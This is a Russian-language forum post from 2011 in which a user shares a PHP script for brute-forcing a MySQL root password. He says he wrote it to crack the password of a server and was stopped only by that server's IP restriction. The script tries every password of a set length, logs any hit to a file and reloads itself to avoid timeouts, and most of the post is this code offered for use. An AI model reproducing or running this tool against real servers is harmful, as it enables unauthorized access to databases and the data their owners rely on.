простой MySQL брутфорс на PHP

Discussion in 'Безопасность и Анонимность' started by vvs777, 19 Feb 2011.

  1. vvs777

    vvs777 Elder - Старейшина

    Joined:
    16 Nov 2004
    Messages:
    393
    Likes Received:
    212
    Reputations:
    4
    Всем привет
    только что написал от нечего делать чтобы сбрутить 10-значный пароль одного сервера на порту 3306.
    После того как написал, оказалось что там запрещены подключения с отличного от серверного IP :D
    выкладываю. настройка в первых строках.

    брутит на пароли определенной длины (не словарь!)
    запускаем на локальном или другом сервере. Копипастим, ставим разную длину, запускаем в разных вкладках браузера и go пить чай

    PHP:
    <?
    /*
    Простой брут mysql (C)VVS777
    http://vvs777.org.ua
    */

    //error_reporting(0);

    //используемый алфавит
    $alph="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    //длина пароля
    $leng=2;
    //хост. Лучше по IP чтобы не было постоянного ресолва
    $mysql_host "127.0.0.1";
    //логин на который брутим.
    $mysql_user "root";
    //время после которого скрипт обновляет страницу (чтобы не было вылета по времени выполнения)
    $timeout=20;

    //дальше не читать, там селедку заворачивали
    $pass=$_GET["pass"];
    $tim0=$_GET["tim0"]+0;

    if (!
    $pass)
    {
        
    $tim0=time();
        for (
    $i=1$i $leng$i++)
        {
            
    $pass.="0:";
        }
        
    $pass.="0";
    }

    $arr explode(":"$pass);

    $tim=time();

    while (
    time()-$tim<$timeout)
    {
        
    $pastr="";
        foreach(
    $arr as $val)
        {
            
    $pastr.=$alph[$val];
        }
        
    print_r($arr);
        
    //echo $pastr."<br>\r\n";

        
    $mysql_password $pastr;
        if(@
    $linkmysql_connect($mysql_host,$mysql_user,$mysql_password))
        {
            
    $log="./bruteok.txt";
            
    $file fopen ($log"a+");
            
    $str="$mysql_host $mysql_user $mysql_password\r\n";
            
    fputs ($file$str);
            
    fclose($file);
            echo 
    $pastr." OK<br>\r\n";
            die();
        } else
        {
            echo 
    $pastr." ".mysql_error()."<br>\r\n";
        }


        
    $ok=0;
        for (
    $i=$leng-1$i >= 0$i--)
        {
            if (
    $ok!=1)
            {
                if (
    $arr[$i]<strlen($alph)-1)
                {
                    
    $arr[$i]++;
                    
    $ok=1;
                } else
                {
                    
    $arr[$i]=0;
                }
            }
        }
        if (
    $ok!=1)
        {
            echo 
    "the End";
            echo 
    " time ".(time()-$tim0)." sec";
            die();
        }
    }

    $pass implode(":"$arr);
    echo 
    " next  $pass <script>document.location='http://test1.ru/sqlbrute/passgen.php?pass=$pass&tim0=$tim0';</script>"

    ?>